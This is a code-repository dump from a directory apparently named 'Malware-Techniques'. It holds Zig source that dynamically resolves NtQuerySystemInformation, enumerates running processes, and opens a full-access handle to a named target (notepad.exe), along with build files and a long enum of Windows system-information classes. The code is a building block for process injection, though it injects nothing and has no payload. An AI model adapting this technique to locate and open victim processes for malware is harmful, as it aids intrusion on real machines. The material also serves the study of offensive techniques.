    SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA
    SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130
    SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION
    SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION
    SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege)
    SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute)
    SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION
    SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
    SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
    SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION
    SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION
    SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140
    SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE
    SystemCriticalProcessErrorLogInformation,
    SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION
    SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX
    SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION
    SystemEntropyInterruptTimingRawInformation,
    SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION
    SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)
    SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX
    SystemBootMetadataInformation, // 150
    SystemSoftRebootInformation, // q: ULONG
    SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION
    SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2
    SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION
    SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives)
    SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION
    SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD
    SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION
    SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION
    SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160
    SystemVmGenerationCountInformation,
    SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION
    SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS
    SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION
    SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION
    SystemHardwareSecurityTestInterfaceResultsInformation,
    SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION
    SystemAllowedCpuSetsInformation,
    SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)
    SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170
    SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION
    SystemCodeIntegrityPolicyFullInformation,
    SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege)
    SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION
    SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2
    SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION
    SystemWin32WerStartCallout,
    SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION
    SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE
    SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180
    SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx
    SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION
    SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
    SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2
    SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute)
    SystemKernelDebuggingAllowed, // s: ULONG
    SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE
    SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS
    SystemCodeIntegrityPoliciesFullInformation,
    SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190
    SystemIntegrityQuotaInformation,
    SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION
    SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3
    SystemSecureDumpEncryptionInformation,
    SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION
    SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION
    SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4
    SystemFirmwareBootPerformanceInformation,
    SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION
    SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200
    SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.
    SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION
    SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION
    SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5
    SystemCodeIntegrityUnlockModeInformation,
    SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION
    SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION
    SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1
    SystemCodeIntegritySyntheticCacheInformation,
    SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210
    SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION
    SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS
    SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION
    SystemSpacesBootInformation, // since 20H2
    SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION
    SystemWheaIpmiHardwareInformation,
    SystemDifSetRuleClassInformation,
    SystemDifClearRuleClassInformation,
    SystemDifApplyPluginVerificationOnDriver,
    SystemDifRemovePluginVerificationOnDriver, // 220
    SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION
    SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION
    SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege)
    SystemCodeIntegrityAddDynamicStore,
    SystemCodeIntegrityClearDynamicStores,
    SystemDifPoolTrackingInformation,
    SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION
    SystemDpcWatchdogInformation,
    SystemDpcWatchdogInformation2,
    SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx  // 230
    SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor)
    SystemXfgCheckFailureInformation,
    SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1
    SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION
    SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION
    SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION
    SystemSecureKernelDebuggerInformation,
    SystemOriginalImageFeatureInformation,
    MaxSystemInfoClass,
};

// https://processhacker.sourceforge.io/doc/ntbasic_8h.html
pub const KPRIORITY = LONG;

// https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html
pub const SYSTEM_PROCESS_INFORMATION = extern struct {
    NextEntryOffset: ULONG,
    NumberOfThreads: ULONG,
    WorkingSetPrivateSize: LARGE_INTEGER, // VISTA
    HardFaultCount: ULONG, // WIN7
    NumberOfThreadsHighWatermark: ULONG, // WIN7
    CycleTime: ULONGLONG, // WIN7
    CreateTime: LARGE_INTEGER,
    UserTime: LARGE_INTEGER,
    KernelTime: LARGE_INTEGER,
    ImageName: UNICODE_STRING,
    BasePriority: KPRIORITY,
    UniqueProcessId: HANDLE,
    InheritedFromUniqueProcessId: HANDLE,
    HandleCount: ULONG,
    SessionId: ULONG,
    PageDirectoryBase: ULONG_PTR,

    // VM_COUNTERS_EX part
    // NOTE: *NOT* THE SAME AS VM_COUNTERS!
    PeakVirtualSize: SIZE_T,
    VirtualSize: SIZE_T,
    PageFaultCount: ULONG,
    PeakWorkingSetSize: SIZE_T,
    WorkingSetSize: SIZE_T,
    QuotaPeakPagedPoolUsage: SIZE_T,
    QuotaPagedPoolUsage: SIZE_T,
    QuotaPeakNonPagedPoolUsage: SIZE_T,
    QuotaNonPagedPoolUsage: SIZE_T,
    PagefileUsage: SIZE_T,
    PeakPagefileUsage: SIZE_T,
    PrivatePageCount: SIZE_T,

    // IO_COUNTERS part
    ReadOperationCount: LARGE_INTEGER,
    WriteOperationCount: LARGE_INTEGER,
    OtherOperationCount: LARGE_INTEGER,
    ReadTransferCount: LARGE_INTEGER,
    WriteTransferCount: LARGE_INTEGER,
    OtherTransferCount: LARGE_INTEGER,
    // SYSTEM_THREAD_INFORMATION TH[1]; - Usually accessed separately
};

// Pointer types (equivalent to your typedefs)
pub const PUNICODE_STRING = *UNICODE_STRING;
pub const PSYSTEM_PROCESS_INFORMATION = *SYSTEM_PROCESS_INFORMATION;

// Export commonly used constants
pub const SystemProcessInformation = SYSTEM_INFORMATION_CLASS.SystemProcessInformation;
```


## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig" 
const std = @import("std");

// Although this function looks imperative, note that its job is to
// declaratively construct a build graph that will be executed by an external
// runner.
pub fn build(b: *std.Build) void {
    // Standard target options allows the person running `zig build` to choose
    // what target to build for. Here we do not override the defaults, which
    // means any target is allowed, and the default is native. Other options
    // for restricting supported target set are available.
    const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });

    // Standard optimization options allow the person running `zig build` to select
    // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
    // set a preferred release mode, allowing the user to decide how to optimize.
    const optimize = b.standardOptimizeOption(.{});

    // We will also create a module for our other entry point, 'main.zig'.
    const exe_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // This creates another `std.Build.Step.Compile`, but this one builds an executable
    // rather than a static library.
    const exe = b.addExecutable(.{
        .name = "nt_query_system_information",
        .root_module = exe_mod,
    });

    // This declares intent for the executable to be installed into the
    // standard location when the user invokes the "install" step (the default
    // step when running `zig build`).
    b.installArtifact(exe);

    // This *creates* a Run step in the build graph, to be executed when another
    // step is evaluated that depends on it. The next line below will establish
    // such a dependency.
    const run_cmd = b.addRunArtifact(exe);

    // By making the run step depend on the install step, it will be run from the
    // installation directory rather than directly from within the cache directory.
    // This is not necessary, however, if the application depends on other installed
    // files, this ensures they will be present and in the expected location.
    run_cmd.step.dependOn(b.getInstallStep());

    // This allows the user to pass arguments to the application in the build
    // command itself, like this: `zig build run -- arg1 arg2 etc`
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    // This creates a build step. It will be visible in the `zig build --help` menu,
    // and can be selected like this: `zig build run`
    // This will evaluate the `run` step rather than the default, which is "install".
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_unit_tests = b.addTest(.{
        .root_module = exe_mod,
    });

    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);

    // Similar to creating the run step earlier, this exposes a `test` step to
    // the `zig build --help` menu, providing a way for the user to request
    // running the unit tests.
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_unit_tests.step);
}

```

## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig.zon

```zon path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .nt_query_system_information,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0xf55d6d011ae2949f, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/main.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
const windows_structs = @import("./windows_structs.zig");

// Windows API types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const ULONG = windows.ULONG;
const NTSTATUS = windows.NTSTATUS;
const PVOID = ?*anyopaque;
const USHORT = windows.USHORT;
const PWSTR = windows.PWSTR;
const SIZE_T = windows.SIZE_T;
const LPCWSTR = windows.LPCWSTR;
const HMODULE = windows.HMODULE;
const WINAPI = windows.WINAPI;

// Configuration
const TARGET_PROCESS = "notepad.exe";

// Convert UTF-8 to UTF-16 at compile time
const W = std.unicode.utf8ToUtf16LeStringLiteral;

const UNICODE_STRING = windows_structs.UNICODE_STRING;

const SYSTEM_INFORMATION_CLASS = windows_structs.SYSTEM_INFORMATION_CLASS;

const SYSTEM_PROCESS_INFORMATION = windows_structs.SYSTEM_PROCESS_INFORMATION;

// Function pointer type for NtQuerySystemInformation
const NtQuerySystemInformationFn = *const fn (
    SystemInformationClass: SYSTEM_INFORMATION_CLASS,
    SystemInformation: PVOID,
    SystemInformationLength: ULONG,
    ReturnLength: ?*ULONG,
) callconv(WINAPI) NTSTATUS;

// ProcessResult structure (equivalent to Rust's Option<(u32, HANDLE)>)
const ProcessResult = struct {
    pid: DWORD,
    handle: HANDLE,

    pub fn deinit(self: ProcessResult) void {
        _ = CloseHandle(self.handle);
    }
};

// External function declarations
extern "kernel32" fn GetProcAddress(hModule: HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) PVOID;
extern "kernel32" fn GetModuleHandleW(lpModuleName: LPCWSTR) callconv(WINAPI) ?HMODULE;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;
extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(WINAPI) PVOID;
extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: PVOID) callconv(WINAPI) BOOL;
extern "kernel32" fn GetProcessHeap() callconv(WINAPI) HANDLE;

// Constants
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const HEAP_ZERO_MEMORY = 0x00000008;
const STATUS_SUCCESS: NTSTATUS = windows.NTSTATUS.SUCCESS;

// Helper function to convert UNICODE_STRING to Zig slice
fn unicodeStringToSlice(unicode_str: UNICODE_STRING) []u16 {
    if (unicode_str.Buffer == null or unicode_str.Length == 0) {
        return &[_]u16{};
    }
    return @as([*]u16, @ptrCast(unicode_str.Buffer))[0 .. unicode_str.Length / 2];
}

// Helper function to convert string to lowercase
fn toLowercase(allocator: std.mem.Allocator, input: []const u8) ![]u8 {
    var result = try allocator.alloc(u8, input.len);
    for (input, 0..) |char, i| {
        result[i] = std.ascii.toLower(char);
    }
    return result;
}

// Function to get remote process handle using dynamic loading (equivalent to Rust function)
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) ?ProcessResult {
    // Load NtQuerySystemInformation dynamically
    const ntdll = GetModuleHandleW(W("ntdll.dll")) orelse {
        print("[!] GetModuleHandleW failed!\n", .{});
        return null;
    };

    const nt_query_proc = GetProcAddress(ntdll, "NtQuerySystemInformation") orelse {
        print("[!] GetProcAddress failed!\n", .{});
        return null;
    };

    // Cast to function pointer (equivalent to Rust's transmute)
    const nt_query_sys_info = @as(NtQuerySystemInformationFn, @ptrCast(nt_query_proc));

    var return_length: ULONG = 0;

    // First call to get buffer size
    _ = nt_query_sys_info(.SystemProcessInformation, null, 0, &return_length);

    if (return_length == 0) {
        print("[!] Failed to get buffer size.\n", .{});
        return null;
    }

    // Allocate buffer (equivalent to Rust's HeapAlloc)
    const heap = GetProcessHeap();
    const proc_info_ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, return_length) orelse {
        print("[!] HeapAlloc failed!\n", .{});
        return null;
    };
    defer _ = HeapFree(heap, 0, proc_info_ptr);

    // Second call to get actual data
    const status = nt_query_sys_info(
        .SystemProcessInformation,
        proc_info_ptr,
        return_length,
        &return_length,
    );

    if (status != STATUS_SUCCESS) {
        print("[!] NtQuerySystemInformation failed!\n", .{});
        return null;
    }

    // Convert target process name to lowercase for comparison
    const target_lower = toLowercase(allocator, process_name) catch {
        print("[!] Memory allocation failed for target name.\n", .{});
        return null;
    };
    defer allocator.free(target_lower);

    // Iterate through processes (equivalent to Rust's loop)
    var proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(proc_info_ptr)));

    while (true) {
        // Get process name from UNICODE_STRING
        const image_name_ptr = proc_info.ImageName.Buffer;
        const process_id = @as(DWORD, @intCast(@intFromPtr(proc_info.UniqueProcessId)));

        if (image_name_ptr != null and proc_info.ImageName.Length > 0) {
            // Convert Unicode string to UTF-8 (equivalent to Rust's OsString::from_wide)
            const wide_chars = unicodeStringToSlice(proc_info.ImageName);

            // Convert UTF-16 to UTF-8
            var utf8_buffer: [260]u8 = undefined;
            if (std.unicode.utf16LeToUtf8(&utf8_buffer, wide_chars)) |utf8_len| {
                const process_name_str = utf8_buffer[0..utf8_len];

                // Convert to lowercase for comparison (equivalent to Rust's to_lowercase())
                const process_lower = toLowercase(allocator, process_name_str) catch continue;
                defer allocator.free(process_lower);

                // Compare process names (case-insensitive, equivalent to Rust comparison)
                if (std.mem.eql(u8, process_lower, target_lower)) {
                    const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) orelse {
                        print("[!] OpenProcess failed for PID: {}\n", .{process_id});
                        continue;
                    };

                    return ProcessResult{
                        .pid = process_id,
                        .handle = handle,
                    };
                }
            } else |_| {
                // Skip processes with encoding errors
                continue;
            }
        }

        // Move to next process (equivalent to Rust's pointer arithmetic)
        if (proc_info.NextEntryOffset == 0) {
            break;
        }

        proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(@as([*]u8, @ptrCast(proc_info)) + proc_info.NextEntryOffset)));
    }

    return null;
}

// Wait for user input (equivalent to Rust's stdin().read_line())
fn waitForInput() !void {
    print("[#] Press Enter to exit...\n", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}

// Main function (equivalent to Rust's main)
pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Get remote process handle (equivalent to Rust's match statement)
    if (getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| {
        defer result.deinit();

        print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid });
    } else {
        print("[!] Could not find process {s}\n", .{TARGET_PROCESS});
    }

    try waitForInput();
}

```

## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/windows_structs.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/windows_structs.zig" 
const std = @import("std");
const windows = std.os.windows;

// Re-export Windows types
pub const USHORT = windows.USHORT;
pub const ULONG = windows.ULONG;
pub const ULONGLONG = windows.ULONGLONG;
pub const HANDLE = windows.HANDLE;
pub const SIZE_T = windows.SIZE_T;
pub const ULONG_PTR = windows.ULONG_PTR;
pub const LARGE_INTEGER = windows.LARGE_INTEGER;
pub const LONG = windows.LONG;

pub const UNICODE_STRING = extern struct {
    Length: USHORT,
    MaximumLength: USHORT,
    Buffer: ?[*:0]u16, // PWSTR in Zig (made optional for null checking)
};

// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324
pub const SYSTEM_INFORMATION_CLASS = enum(c_int) {
    SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
    SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION
    SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION
    SystemPathInformation, // not implemented
    SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
    SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION
    SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION
    SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION
    SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10
    SystemModuleInformation, // q: RTL_PROCESS_MODULES
    SystemLocksInformation, // q: RTL_PROCESS_LOCKS
    SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES
    SystemPagedPoolInformation, // not implemented
    SystemNonPagedPoolInformation, // not implemented
    SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION
    SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION
    SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION
    SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO
    SystemVdmBopInformation, // not implemented // 20
    SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)
    SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION
    SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)
    SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
    SystemLoadGdiDriverInformation, // s (kernel-mode only)
    SystemUnloadGdiDriverInformation, // s (kernel-mode only)
    SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)
    SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
    SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30
    SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)
    SystemObsolete0, // not implemented
    SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION
    SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege)
    SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION
    SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION
    SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)
    SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only
    SystemPrioritySeperation, // s (requires SeTcbPrivilege)
    SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40
    SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)
    SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION
    SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION
    SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION
    SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege)
    SystemSessionCreate, // not implemented
    SystemSessionDetach, // not implemented
    SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)
    SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50
    SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)
    SystemVerifierThunkExtend, // s (kernel-mode only)
    SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION
    SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation)
    SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION
    SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation
    SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
    SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment
